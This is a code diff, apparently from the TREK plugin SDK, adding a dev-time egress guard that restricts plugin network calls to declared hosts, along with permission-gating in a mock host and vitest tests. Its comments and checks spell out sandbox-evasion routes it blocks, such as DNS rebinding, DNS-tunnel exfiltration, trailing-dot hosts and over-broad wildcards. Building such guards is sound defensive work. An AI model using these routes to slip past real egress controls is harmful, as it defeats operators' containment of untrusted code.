if (!h.includes(':')) return null;
|
||||
const dotted = h.match(/^(.*:)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/);
|
||||
if (dotted) {
|
||||
const v4 = dotted[2].split('.').map(Number);
|
||||
if (v4.some((n) => n > 255)) return null;
|
||||
h = dotted[1] + ((v4[0] << 8) | v4[1]).toString(16) + ':' + ((v4[2] << 8) | v4[3]).toString(16);
|
||||
}
|
||||
const halves = h.split('::');
|
||||
if (halves.length > 2) return null;
|
||||
const head = halves[0] ? halves[0].split(':') : [];
|
||||
const tail = halves.length === 2 && halves[1] ? halves[1].split(':') : [];
|
||||
const groups =
|
||||
halves.length === 2 ? [...head, ...Array(8 - head.length - tail.length).fill('0'), ...tail] : head;
|
||||
if (groups.length !== 8) return null;
|
||||
const nums = groups.map((x) => (x === '' ? NaN : parseInt(x, 16)));
|
||||
return nums.some((n) => !Number.isInteger(n) || n < 0 || n > 0xffff) ? null : nums;
|
||||
}
|
||||
|
||||
/** Build a declared-egress host matcher (exact host or `*.suffix` wildcard). */
|
||||
export function makeHostAllow(egress: string[]): (host: string) => boolean {
|
||||
const patterns = egress
|
||||
.map((h) => h.trim().toLowerCase().replace(/\.$/, '')) // drop a trailing dot (FQDN trick)
|
||||
.filter((p) => p && p !== '*')
|
||||
// A wildcard must have a real multi-label suffix — reject the degenerate
|
||||
// `*.` (matched any trailing-dot host = allow-all) and whole-TLD `*.com`.
|
||||
.filter((p) => !p.startsWith('*.') || p.slice(2).includes('.'));
|
||||
return (host: string) => {
|
||||
const h = host.toLowerCase().replace(/\.$/, '');
|
||||
return patterns.some((p) => (p.startsWith('*.') ? h === p.slice(2) || h.endsWith(p.slice(1)) : h === p));
|
||||
};
|
||||
}
|
||||
|
||||
export interface ConnectTarget {
|
||||
kind: 'local' | 'literal-ip' | 'hostname';
|
||||
host: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Destination host of a `dgram.Socket.send(msg[, offset, length], port[, address][, cb])`
|
||||
* call, or null when no explicit address is given.
|
||||
*/
|
||||
export function dgramSendTarget(args: unknown[]): string | null {
|
||||
const offsetForm = typeof args[1] === 'number' && typeof args[2] === 'number';
|
||||
const address = args[offsetForm ? 4 : 2];
|
||||
return typeof address === 'string' ? address : null;
|
||||
}
|
||||
|
||||
/** Destination host of a `dgram.Socket.connect(port[, address][, cb])` call, or null. */
|
||||
export function dgramConnectTarget(args: unknown[]): string | null {
|
||||
return typeof args[1] === 'string' ? (args[1] as string) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Node's `net.connect()` pre-normalises its arguments into an `[options, callback]`
|
||||
* array and then calls `Socket.prototype.connect` with THAT ARRAY as the single
|
||||
* argument. undici's plain-HTTP connector takes this path; its TLS connector does
|
||||
* not — which is why HTTPS egress worked and plain HTTP silently did not.
|
||||
*/
|
||||
export function unwrapConnectArgs(args: unknown[]): unknown[] {
|
||||
return Array.isArray(args[0]) ? (args[0] as unknown[]) : args;
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a `net.Socket.connect(...)` argument list into what we must check:
|
||||
* a unix-socket/pipe (local), a literal IP (checked synchronously), or a hostname
|
||||
* (allowlist + a DNS-resolving guard).
|
||||
*/
|
||||
export function classifyConnect(rawArgs: unknown[], isIP: (s: string) => boolean): ConnectTarget {
|
||||
const args = unwrapConnectArgs(rawArgs);
|
||||
const first = args[0];
|
||||
if (first && typeof first === 'object') {
|
||||
const o = first as { host?: string; path?: string };
|
||||
if (o.path) return { kind: 'local', host: o.path };
|
||||
const host = o.host ?? 'localhost';
|
||||
return { kind: isIP(host) ? 'literal-ip' : 'hostname', host };
|
||||
}
|
||||
if (typeof first === 'string' && !/^\d+$/.test(first)) {
|
||||
// a bare string that isn't a port number is an IPC path
|
||||
return { kind: 'local', host: first };
|
||||
}
|
||||
// connect(port[, host][, cb])
|
||||
const host = typeof args[1] === 'string' ? (args[1] as string) : 'localhost';
|
||||
return { kind: isIP(host) ? 'literal-ip' : 'hostname', host };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// The dev-server guard.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Undo an installEgressGuard(), restoring the real fetch/net/dns/dgram. */
|
||||
export type RestoreEgress = () => void;
|
||||
|
||||
const DNS_METHODS = [
|
||||
'lookup', 'resolve', 'resolve4', 'resolve6', 'resolveAny', 'resolveCaa', 'resolveCname',
|
||||
'resolveMx', 'resolveNaptr', 'resolveNs', 'resolvePtr', 'resolveSoa', 'resolveSrv', 'resolveTxt',
|
||||
];
|
||||
|
||||
/**
|
||||
* Restrict outbound network to `hosts` — the plugin's `http:outbound:<host>` grants.
|
||||
* With no hosts, ALL outbound is blocked, exactly as in production. `*.example.com`
|
||||
* wildcards match any subdomain.
|
||||
*
|
||||
* Safe to install process-wide here: the dev server itself makes no Node-side
|
||||
* outbound call (its only fetch() calls live in browser-side template strings) and
|
||||
* the mock host is pure fixtures — so the only caller that can trip this guard is
|
||||
* the plugin, which is the point.
|
||||
*
|
||||
* `TREK_PLUGIN_ALLOW_PRIVATE_EGRESS=on` permits private/loopback targets — the SAME
|
||||
* variable production honours, so a plugin developed against a self-hosted sibling
|
||||
* service uses one lever in both places.
|
||||
*/
|
||||
export function installEgressGuard(hosts: string[]): RestoreEgress {
|
||||
const allowed = makeHostAllow(hosts);
|
||||
const blockPrivate = (process.env.TREK_PLUGIN_ALLOW_PRIVATE_EGRESS ?? '').toLowerCase() !== 'on';
|
||||
|
||||
// Name the fix in the error. Production can only say "not declared"; dev knows the
|
||||
// author is looking at the manifest right now, so it says what to add.
|
||||
const refuse = (host: string): Error =>
|
||||
new Error(
|
||||
`egress: ${host} is not in the plugin's declared hosts — ` +
|
||||
`add "http:outbound:${host}" to permissions (and "${host}" to egress) in trek-plugin.json`,
|
||||
);
|
||||
|
||||
const restores: RestoreEgress[] = [];
|
||||
|
||||
const realFetch = globalThis.fetch;
|
||||
if (typeof realFetch === 'function') {
|
||||
globalThis.fetch = ((input: unknown, init?: unknown) => {
|
||||
const url = typeof input === 'string' ? input : (input as { url?: string })?.url ?? String(input);
|
||||
let host: string;
|
||||
try {
|
||||
host = new URL(url).hostname.replace(/^\[/, '').replace(/\]$/, '');
|
||||
} catch {
|
||||
return Promise.reject(new Error('egress: invalid url'));
|
||||
}
|
||||
if (!allowed(host)) return Promise.reject(refuse(host));
|
||||
return (realFetch as (i: unknown, n: unknown) => Promise<unknown>)(input, init);
|
||||
}) as typeof fetch;
|
||||
restores.push(() => { globalThis.fetch = realFetch; });
|
||||
}
|
||||
|
||||
// Capture the real resolver before the dns module is gated below, so the connect
|
||||
// guard keeps resolving even though direct dns.* calls are refused.
|
||||
const realLookup = dns.lookup.bind(dns);
|
||||
|
||||
// Resolve, then refuse a name that lands on a blocked address — the DNS-rebinding
|
||||
// backstop, so a declared host can't point at localhost.
|
||||
const guardedLookup = (
|
||||
hostname: string,
|
||||
options: unknown,
|
||||
cb: (err: Error | null, address?: unknown, family?: number) => void,
|
||||
): void => {
|
||||
const opts = typeof options === 'function' ? {} : options;
|
||||
if (typeof options === 'function') cb = options as typeof cb;
|
||||
realLookup(hostname, opts as dns.LookupOptions, (err, address, family) => {
|
||||
if (err) return cb(err, address as unknown, family);
|
||||
const list = Array.isArray(address) ? address : [{ address: address as string }];
|
||||
for (const a of list) {
|
||||
if (blockPrivate && isBlockedIp((a as { address: string }).address)) {
|
||||
return cb(new Error(`egress: ${hostname} resolves to a blocked address (${(a as { address: string }).address})`));
|
||||
}
|
||||
}
|
||||
cb(null, address as unknown, family);
|
||||
});
|
||||
};
|
||||
|
||||
const proto = net.Socket.prototype as unknown as { connect: (...a: unknown[]) => unknown };
|
||||
const realConnect = proto.connect;
|
||||
proto.connect = function (this: unknown, ...rawArgs: unknown[]): unknown {
|
||||
const args = unwrapConnectArgs(rawArgs);
|
||||
const target = classifyConnect(args, (s) => net.isIP(s) !== 0);
|
||||
if (target.kind === 'local') {
|
||||
if (blockPrivate) throw new Error(`egress: connecting to a local socket/pipe (${target.host}) is not allowed`);
|
||||
return realConnect.apply(this, rawArgs);
|
||||
}
|
||||
if (!allowed(target.host)) throw refuse(target.host);
|
||||
if (target.kind === 'literal-ip') {
|
||||
if (blockPrivate && isBlockedIp(target.host)) throw new Error(`egress: ${target.host} is a blocked address`);
|
||||
return realConnect.apply(this, rawArgs);
|
||||
}
|
||||
// Hostname: inject the resolving guard, preserving any existing options.
|
||||
const first = args[0];
|
||||
const options = first && typeof first === 'object' ? { ...(first as object) } : { host: target.host, port: args[0] };
|
||||
(options as { lookup?: unknown }).lookup = guardedLookup;
|
||||
const rest = first && typeof first === 'object' ? args.slice(1) : args.slice(typeof args[1] === 'string' ? 2 : 1);
|
||||
return realConnect.call(this, options, ...rest);
|
||||
};
|
||||
restores.push(() => { proto.connect = realConnect; });
|
||||
|
||||
// UDP: a TCP-only guard would leave a plugin's syslog/statsd channel wide open in
|
||||
// dev and blocked in prod — the exact asymmetry this exists to kill.
|
||||
const guardDatagram = (host: string | null): void => {
|
||||
if (host === null) return;
|
||||
if (!allowed(host)) throw refuse(host);
|
||||
if (blockPrivate && net.isIP(host) !== 0 && isBlockedIp(host)) {
|
||||
throw new Error(`egress: ${host} is a blocked address`);
|
||||
}
|
||||
};
|
||||
const dgramProto = dgram.Socket.prototype as unknown as {
|
||||
send: (...a: unknown[]) => unknown;
|
||||
connect: (...a: unknown[]) => unknown;
|
||||
};
|
||||
const realSend = dgramProto.send;
|
||||
dgramProto.send = function (this: unknown, ...args: unknown[]): unknown {
|
||||
guardDatagram(dgramSendTarget(args));
|
||||
return realSend.apply(this, args);
|
||||
};
|
||||
const realDgramConnect = dgramProto.connect;
|
||||
dgramProto.connect = function (this: unknown, ...args: unknown[]): unknown {
|
||||
guardDatagram(dgramConnectTarget(args));
|
||||
return realDgramConnect.apply(this, args);
|
||||
};
|
||||
restores.push(() => { dgramProto.send = realSend; dgramProto.connect = realDgramConnect; });
|
||||
|
||||
// Gate the resolver family: a forward lookup for an undeclared NAME is a DNS-tunnel
|
||||
// exfiltration channel even when no socket is ever opened.
|
||||
//
|
||||
// A literal IP is exempt — it carries no name to tunnel data in, and reaching it is
|
||||
// still barred by the connect guard + isBlockedIp. This is not just pedantry: Node
|
||||
// resolves the bind address through dns.lookup when a server listens on a host, so
|
||||
// gating literal IPs makes the dev server unable to bind its own 127.0.0.1 listener.
|
||||
// (The host's child never calls listen(), which is why it can gate them.)
|
||||
const gateDnsMethods = (obj: Record<string, unknown> | undefined): void => {
|
||||
if (!obj) return;
|
||||
for (const name of DNS_METHODS) {
|
||||
const real = obj[name];
|
||||
if (typeof real !== 'function') continue;
|
||||
obj[name] = function (this: unknown, hostname: unknown, ...rest: unknown[]): unknown {
|
||||
if (typeof hostname === 'string' && net.isIP(hostname) === 0 && !allowed(hostname)) {
|
||||
const err = new Error(`egress: DNS lookup for ${hostname} is not in the plugin's declared hosts`);
|
||||
const cb = rest.find((a) => typeof a === 'function') as ((e: Error) => void) | undefined;
|
||||
if (cb) return cb(err);
|
||||
return Promise.reject(err);
|
||||
}
|
||||
return (real as (...a: unknown[]) => unknown).call(this, hostname, ...rest);
|
||||
};
|
||||
restores.push(() => { obj[name] = real; });
|
||||
}
|
||||
};
|
||||
gateDnsMethods(dns as unknown as Record<string, unknown>);
|
||||
gateDnsMethods(dns.promises as unknown as Record<string, unknown>);
|
||||
gateDnsMethods((dns as unknown as { Resolver?: { prototype: Record<string, unknown> } }).Resolver?.prototype);
|
||||
gateDnsMethods((dns.promises as unknown as { Resolver?: { prototype: Record<string, unknown> } })?.Resolver?.prototype);
|
||||
|
||||
return () => { for (const r of restores.reverse()) r(); };
|
||||
}
|
||||
@@ -623,6 +623,13 @@ export function definePlugin(def: PluginDefinition): PluginDefinition {
|
||||
|
||||
export { validateManifest, CHANNEL_EVENTS, type PluginManifest, type ValidationResult } from './manifest.js';
|
||||
export { createMockHost, type MockHostOptions } from './mock-host.js';
|
||||
// The permissions TREK enforces OUTSIDE ctx — hooks, events, jobs, egress. An entry
|
||||
// point you implement without its grant is never called in production, silently; these
|
||||
// are what `dev` and the mock driver use to make that loud.
|
||||
export {
|
||||
PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
|
||||
grantGaps, grantedHosts, type GrantGap, type PluginEntryPoints,
|
||||
} from './permissions.js';
|
||||
// The design kit for page/widget UIs: inline these into your client/index.html
|
||||
// (or drop a `<!-- trek:ui -->` marker and let `dev`/`pack` expand it) to get the
|
||||
// native TREK look — glass, hover, buttons, inputs — plus a `window.trek` bridge.
|
||||
|
||||
@@ -71,7 +71,11 @@ export const CHANNEL_EVENTS = [
|
||||
];
|
||||
// Mirror of the server's KNOWN_PERMISSIONS (server envelope.ts) — the host hard-rejects
|
||||
// anything not in this list at activation, so validate must know the full set.
|
||||
const KNOWN_PERMISSIONS = [
|
||||
//
|
||||
// This is THE list. `create`'s permission picker is built from it (see PERMISSION_FAMILIES
|
||||
// in cli/ui.ts, which only supplies the grouping and hints), so a permission added here can
|
||||
// never again go missing from the scaffolder — test/cli.test.ts fails until it has an entry.
|
||||
export const KNOWN_PERMISSIONS = [
|
||||
'db:own',
|
||||
'db:read:trips', 'db:read:users', 'db:read:costs', 'db:read:packing', 'db:read:files',
|
||||
'db:read:files:content', 'db:read:collab',
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import type { PluginContext, PluginDefinition, PluginRequest, PluginResponse, Trip, Place, Day, Reservation, PackingItem, TripFile, BudgetItem, User, NotificationMessage, PluginActionResult } from './index.js';
|
||||
import { CHANNEL_EVENTS } from './manifest.js';
|
||||
import { PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION } from './permissions.js';
|
||||
|
||||
/**
|
||||
* A mock PluginContext for unit-testing a plugin without a running TREK
|
||||
@@ -8,6 +9,12 @@ import { CHANNEL_EVENTS } from './manifest.js';
|
||||
* plugin degrades gracefully. Data access returns configured fixtures; the db is
|
||||
* a lightweight recorder (configure results, or use an integration test for real
|
||||
* SQL).
|
||||
*
|
||||
* That applies to the DRIVER too (`run(def)`), not just ctx: TREK gates hooks, event
|
||||
* subscriptions, jobs and the GDPR handlers on a permission before the plugin is ever
|
||||
* reached, and skips an ungranted plugin SILENTLY. So `run(def).hook('warningProvider')`
|
||||
* without `hook:trip-warning-provider` throws here — otherwise a green unit test would
|
||||
* still mean a plugin that does nothing at all in production.
|
||||
*/
|
||||
|
||||
export interface MockHostOptions {
|
||||
@@ -66,6 +73,11 @@ export interface MockHostOptions {
|
||||
* undeclared key throws — production refuses it before the child is ever woken.
|
||||
* Unset = any key the plugin implements can be driven. */
|
||||
declaredActions?: string[];
|
||||
/** Hosts an ADMIN supplies at runtime to an `operatorEgress: true` plugin, which by
|
||||
* definition cannot name them in its manifest. Only `trek-plugin dev` reads this (to
|
||||
* widen its egress guard); the mock ctx makes no network calls of its own. It lives
|
||||
* here because dev-fixtures.json IS a MockHostOptions and dev spreads it in whole. */
|
||||
operatorEgressHosts?: string[];
|
||||
/** The events this plugin's notification channel accepts, i.e. the manifest's
|
||||
* `capabilities.notificationChannel.events`. Defaults to the full CHANNEL_EVENTS set.
|
||||
* A manifest can only NARROW that set, never widen it — so can this. */
|
||||
@@ -160,7 +172,6 @@ export interface MockHost {
|
||||
run(def: PluginDefinition): PluginDriver;
|
||||
}
|
||||
|
||||
class PermissionDenied extends Error {}
|
||||
|
||||
// --- Statement guards copied from the host's PluginDataDb (plugin-data.service.ts),
|
||||
// so SQL production refuses fails in a unit test too instead of silently passing. ---
|
||||
@@ -1365,6 +1376,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
|
||||
// ctx shares every fixture and recorder but binds nobody.
|
||||
const userlessCtx = buildCtx(undefined);
|
||||
|
||||
// TREK gates these entry points BEFORE the plugin is reached: an ungranted hook is
|
||||
// never offered to consumers, an ungranted subscriber is never delivered an event, and
|
||||
// an ungranted plugin's jobs are never scheduled. It does all of that silently. Refuse
|
||||
// them here so a unit test can't pass on a plugin production would never call.
|
||||
const needEntry = (perm: string, what: string) => {
|
||||
if (!grants.has(perm)) {
|
||||
throw new PermissionDenied(
|
||||
`PERMISSION_DENIED: ${what} requires ${perm} — TREK never fires an entry point the manifest did not grant`,
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
const run = (def: PluginDefinition): PluginDriver => ({
|
||||
load: async () => { await def.onLoad?.(ctx); },
|
||||
unload: async () => { await def.onUnload?.(ctx); },
|
||||
@@ -1380,15 +1403,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
|
||||
return r.handler(full, ctx);
|
||||
},
|
||||
job: async (id) => {
|
||||
needEntry(JOBS_PERMISSION, `job "${id}"`);
|
||||
const j = (def.jobs ?? []).find((x) => x.id === id);
|
||||
if (!j) throw new Error(`no job "${id}"`);
|
||||
await j.handler(userlessCtx);
|
||||
},
|
||||
scheduled: async (name, payload) => {
|
||||
needEntry(JOBS_PERMISSION, `scheduled "${name}"`);
|
||||
if (typeof def.scheduled !== 'function') throw new Error('plugin has no scheduled handler');
|
||||
await def.scheduled({ name, payload }, userlessCtx);
|
||||
},
|
||||
event: async (name, payload) => {
|
||||
needEntry(EVENTS_PERMISSION, `event "${name}"`);
|
||||
for (const s of def.events ?? []) {
|
||||
if (s.on === name || s.on === '*') {
|
||||
await s.handler({ event: name, tripId: payload?.tripId ?? 0, entity: payload?.entity, entityId: payload?.entityId, snapshot: payload?.snapshot }, userlessCtx);
|
||||
@@ -1401,14 +1427,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
|
||||
}
|
||||
},
|
||||
deleteUserData: async (userId) => {
|
||||
needEntry(USER_DATA_PERMISSION, 'deleteUserData');
|
||||
if (typeof def.deleteUserData !== 'function') throw new Error('plugin has no deleteUserData handler');
|
||||
await def.deleteUserData({ userId }, userlessCtx);
|
||||
},
|
||||
exportUserData: async (userId) => {
|
||||
needEntry(USER_DATA_PERMISSION, 'exportUserData');
|
||||
if (typeof def.exportUserData !== 'function') throw new Error('plugin has no exportUserData handler');
|
||||
return def.exportUserData({ userId }, userlessCtx);
|
||||
},
|
||||
hook: async (name, fn, ...args) => {
|
||||
const perm = HOOK_PERMISSION[name];
|
||||
if (perm) needEntry(perm, `hook ${name}`);
|
||||
const hooks = def.hooks as Record<string, Record<string, (...a: unknown[]) => unknown> | undefined> | undefined;
|
||||
const impl = hooks?.[name];
|
||||
if (!impl || typeof impl[fn] !== 'function') throw new Error(`no hook ${name}.${fn}`);
|
||||
@@ -1438,6 +1468,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
|
||||
},
|
||||
channel: {
|
||||
send: async (msg, config) => {
|
||||
needEntry(HOOK_PERMISSION.notificationChannel, 'notificationChannel.send');
|
||||
const impl = def.hooks?.notificationChannel;
|
||||
if (!impl) throw new Error('plugin has no notificationChannel hook');
|
||||
const allowed = opts.channelEvents ?? CHANNEL_EVENTS;
|
||||
@@ -1447,6 +1478,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
|
||||
await impl.send(msg, settingsBlob(config ?? opts.userSettings, 'channel config'), userlessCtx);
|
||||
},
|
||||
test: async (config) => {
|
||||
needEntry(HOOK_PERMISSION.notificationChannel, 'notificationChannel.test');
|
||||
const impl = def.hooks?.notificationChannel;
|
||||
if (typeof impl?.test !== 'function') throw new Error('plugin has no notificationChannel.test hook');
|
||||
await impl.test(settingsBlob(config ?? opts.userSettings, 'channel config'), userlessCtx);
|
||||
@@ -1456,3 +1488,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
|
||||
|
||||
return { ctx, userlessCtx, calls, logs, broadcasts, emitted, notifications, scheduled: scheduledTasks, run };
|
||||
}
|
||||
|
||||
// `trek-plugin-sdk/testing` resolves to this module, so re-export what a test needs to
|
||||
// assert on a denial: `await expect(h.run(def).job('x')).rejects.toThrow(PermissionDenied)`.
|
||||
export { PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION } from './permissions.js';
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
/**
|
||||
* The permission families TREK enforces OUTSIDE the ctx object — and the single
|
||||
* PermissionDenied both the dev server and the mock host throw.
|
||||
*
|
||||
* ctx methods are gated at call time (an ungranted ctx.trips.getById throws). But a
|
||||
* hook, an event subscription and a job are gated BEFORE the plugin is ever reached:
|
||||
* the supervisor simply never selects an ungranted plugin as a provider, never
|
||||
* delivers it an event, and never schedules its jobs. That failure is SILENT in
|
||||
* production — the plugin installs, activates, and then does nothing at all — so dev
|
||||
* and the mock driver must be the place it becomes loud.
|
||||
*/
|
||||
|
||||
/** Thrown by the dev server and the mock host for any ungranted capability. */
|
||||
export class PermissionDenied extends Error {}
|
||||
|
||||
/**
|
||||
* hooks.<key> → the permission that must ALSO be granted for TREK to ever call it.
|
||||
* Mirrors HOOK_PERMISSION in the host's supervisor (plugin-supervisor.ts): a plugin
|
||||
* provides a hook only if it BOTH implements it and holds this grant.
|
||||
*/
|
||||
export const HOOK_PERMISSION: Readonly<Record<string, string>> = {
|
||||
photoProvider: 'hook:photo-provider',
|
||||
calendarSource: 'hook:calendar-source',
|
||||
placeDetailProvider: 'hook:place-detail-provider',
|
||||
warningProvider: 'hook:trip-warning-provider',
|
||||
tableContributor: 'hook:table-contributor',
|
||||
mapMarkerProvider: 'hook:map-marker-provider',
|
||||
pdfSectionProvider: 'hook:pdf-section-provider',
|
||||
atlasLayerProvider: 'hook:atlas-layer-provider',
|
||||
journalEntryProvider: 'hook:journal-entry-provider',
|
||||
tripCardProvider: 'hook:trip-card-provider',
|
||||
notificationChannel: 'hook:notification-channel',
|
||||
};
|
||||
|
||||
/** Gates the GDPR handlers (deleteUserData / exportUserData). Not a hooks.* key. */
|
||||
export const USER_DATA_PERMISSION = 'hook:user-data';
|
||||
/** Gates event subscriptions — without it the host delivers the plugin nothing. */
|
||||
export const EVENTS_PERMISSION = 'events:subscribe';
|
||||
/** Gates jobs, and the ctx.scheduler timers that fire `scheduled`. */
|
||||
export const JOBS_PERMISSION = 'jobs:run';
|
||||
|
||||
const HTTP_OUTBOUND = 'http:outbound:';
|
||||
|
||||
/** The structural shape of a loaded plugin that grantGaps needs. */
|
||||
export interface PluginEntryPoints {
|
||||
jobs?: unknown[];
|
||||
scheduled?: unknown;
|
||||
events?: unknown[];
|
||||
deleteUserData?: unknown;
|
||||
exportUserData?: unknown;
|
||||
hooks?: Record<string, unknown>;
|
||||
}
|
||||
|
||||
/** An entry point the plugin implements but has no permission to actually run. */
|
||||
export interface GrantGap {
|
||||
/** What the plugin implements, e.g. `hooks.warningProvider` or `jobs`. */
|
||||
entryPoint: string;
|
||||
/** The permission the manifest is missing. */
|
||||
permission: string;
|
||||
/** What TREK does instead — always a silent no-op, hence the warning. */
|
||||
consequence: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Every entry point the plugin implements without the permission that makes TREK
|
||||
* call it. Pure, so both the dev banner and the tests can use it.
|
||||
*
|
||||
* The consequence is worth spelling out to the author: production does NOT throw
|
||||
* here, it just never invokes them — "my plugin does nothing and logs nothing" is
|
||||
* exactly the bug this catches.
|
||||
*/
|
||||
export function grantGaps(plugin: PluginEntryPoints, grants: ReadonlySet<string>): GrantGap[] {
|
||||
const gaps: GrantGap[] = [];
|
||||
const gap = (entryPoint: string, permission: string, noun: string) => {
|
||||
if (!grants.has(permission)) gaps.push({ entryPoint, permission, consequence: `TREK will never ${noun}` });
|
||||
};
|
||||
|
||||
for (const key of Object.keys(plugin.hooks ?? {})) {
|
||||
const perm = HOOK_PERMISSION[key];
|
||||
// An unknown hooks.* key is the plugin's business (the host ignores it), not a gap.
|
||||
if (perm && plugin.hooks?.[key]) gap(`hooks.${key}`, perm, `call this hook`);
|
||||
}
|
||||
if (plugin.jobs?.length) gap('jobs', JOBS_PERMISSION, 'schedule your jobs');
|
||||
if (typeof plugin.scheduled === 'function') gap('scheduled', JOBS_PERMISSION, 'let you arm a timer (ctx.scheduler is denied)');
|
||||
if (plugin.events?.length) gap('events', EVENTS_PERMISSION, 'deliver you any event');
|
||||
if (typeof plugin.deleteUserData === 'function') gap('deleteUserData', USER_DATA_PERMISSION, 'call your GDPR erasure handler');
|
||||
if (typeof plugin.exportUserData === 'function') gap('exportUserData', USER_DATA_PERMISSION, 'call your GDPR export handler');
|
||||
return gaps;
|
||||
}
|
||||
|
||||
/**
|
||||
* The hosts a plugin may actually reach. TREK builds its runtime network allowlist
|
||||
* from the `http:outbound:<host>` PERMISSIONS — the manifest's `egress[]` array is
|
||||
* the consent-screen declaration and is never read at runtime. A bare `http:outbound`
|
||||
* with no host suffix therefore reaches nothing.
|
||||
*/
|
||||
export function grantedHosts(grants: Iterable<string>): string[] {
|
||||
return [...grants]
|
||||
.filter((p) => p.startsWith(HTTP_OUTBOUND))
|
||||
.map((p) => p.slice(HTTP_OUTBOUND.length))
|
||||
.filter(Boolean); // a bare `http:outbound:` names no host
|
||||
}
|
||||
+29
-10
@@ -4,7 +4,9 @@ import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import { validateManifest } from '../src/index.js';
|
||||
import { scaffold } from '../src/cli/create.js';
|
||||
import { PERMISSION_CATALOG, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js';
|
||||
import { PERMISSION_CATALOG, PERMISSION_FAMILIES, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js';
|
||||
// The authoritative set — what the HOST accepts at activation. The picker must match it.
|
||||
import { KNOWN_PERMISSIONS as MANIFEST_PERMISSIONS } from '../src/manifest.js';
|
||||
import { resolveMenuChoice, PRIMARY_MENU, ADVANCED_MENU } from '../src/cli/menu.js';
|
||||
|
||||
describe('scaffold egress (http:outbound)', () => {
|
||||
@@ -38,15 +40,32 @@ describe('scaffold egress (http:outbound)', () => {
|
||||
});
|
||||
|
||||
describe('permission catalog', () => {
|
||||
it('covers exactly the known permission ids (none lost in the move to ui.ts)', () => {
|
||||
expect(KNOWN_PERMISSIONS).toEqual([
|
||||
'db:own', 'db:read:trips', 'db:read:users', 'db:read:costs', 'db:write:costs',
|
||||
'db:write:places', 'db:write:days', 'db:write:itinerary', 'db:write:trips',
|
||||
'db:meta',
|
||||
'ws:broadcast:trip', 'ws:broadcast:user',
|
||||
'hook:photo-provider', 'hook:calendar-source', 'hook:notification-channel', 'hook:place-detail-provider', 'hook:trip-warning-provider', 'http:outbound',
|
||||
]);
|
||||
for (const p of PERMISSION_CATALOG) expect(p.hint.length).toBeGreaterThan(0); // every option is described
|
||||
// This test used to PIN an 18-item list and call it "exactly the known permission ids".
|
||||
// It was wrong: the real set is ~58, so `create` could not offer jobs:run,
|
||||
// events:subscribe or 7 of the 12 hooks, and the assertion guaranteed nobody noticed.
|
||||
// It now asserts COVERAGE against the manifest validator's list, which is the only
|
||||
// list the host actually honours — so a new TREK permission fails here until `create`
|
||||
// can offer it.
|
||||
it('offers every permission the host accepts — no more, no less', () => {
|
||||
expect([...KNOWN_PERMISSIONS].sort()).toEqual([...MANIFEST_PERMISSIONS].sort());
|
||||
});
|
||||
|
||||
it('describes every permission, and files it in exactly one family', () => {
|
||||
for (const p of PERMISSION_CATALOG) {
|
||||
expect(p.hint.length, `${p.value} has no hint`).toBeGreaterThan(0);
|
||||
expect(PERMISSION_FAMILIES.filter((f) => f.permissions.some((x) => x.value === p.value)))
|
||||
.toHaveLength(1);
|
||||
}
|
||||
// No duplicates across families — a permission listed twice would render twice.
|
||||
expect(new Set(KNOWN_PERMISSIONS).size).toBe(KNOWN_PERMISSIONS.length);
|
||||
});
|
||||
|
||||
it('every family is non-empty and described (an empty one is a dead prompt entry)', () => {
|
||||
for (const f of PERMISSION_FAMILIES) {
|
||||
expect(f.permissions.length, `family ${f.id} is empty`).toBeGreaterThan(0);
|
||||
expect(f.label.length).toBeGreaterThan(0);
|
||||
expect(f.hint.length).toBeGreaterThan(0);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest';
|
||||
import {
|
||||
makeHostAllow, isBlockedIp, classifyConnect, unwrapConnectArgs, dgramSendTarget, dgramConnectTarget,
|
||||
installEgressGuard, type RestoreEgress,
|
||||
} from '../src/egress-policy.js';
|
||||
|
||||
describe('makeHostAllow', () => {
|
||||
it('matches an exact host only', () => {
|
||||
const allow = makeHostAllow(['api.example.com']);
|
||||
expect(allow('api.example.com')).toBe(true);
|
||||
expect(allow('API.Example.COM')).toBe(true); // case-insensitive
|
||||
expect(allow('api.example.com.')).toBe(true); // trailing-dot FQDN
|
||||
expect(allow('evil.com')).toBe(false);
|
||||
expect(allow('notapi.example.com')).toBe(false);
|
||||
});
|
||||
|
||||
it('matches subdomains (and the apex) for a *.suffix wildcard', () => {
|
||||
const allow = makeHostAllow(['*.example.com']);
|
||||
expect(allow('a.example.com')).toBe(true);
|
||||
expect(allow('deep.nested.example.com')).toBe(true);
|
||||
expect(allow('example.com')).toBe(true); // the apex itself
|
||||
expect(allow('example.com.evil.net')).toBe(false);
|
||||
});
|
||||
|
||||
it('refuses the allow-all patterns — a bare * and a whole-TLD wildcard', () => {
|
||||
expect(makeHostAllow(['*'])('anything.com')).toBe(false);
|
||||
expect(makeHostAllow(['*.com'])('anything.com')).toBe(false);
|
||||
expect(makeHostAllow(['*.'])('anything.com')).toBe(false);
|
||||
});
|
||||
|
||||
it('with no declared hosts, nothing is allowed — as in production', () => {
|
||||
const allow = makeHostAllow([]);
|
||||
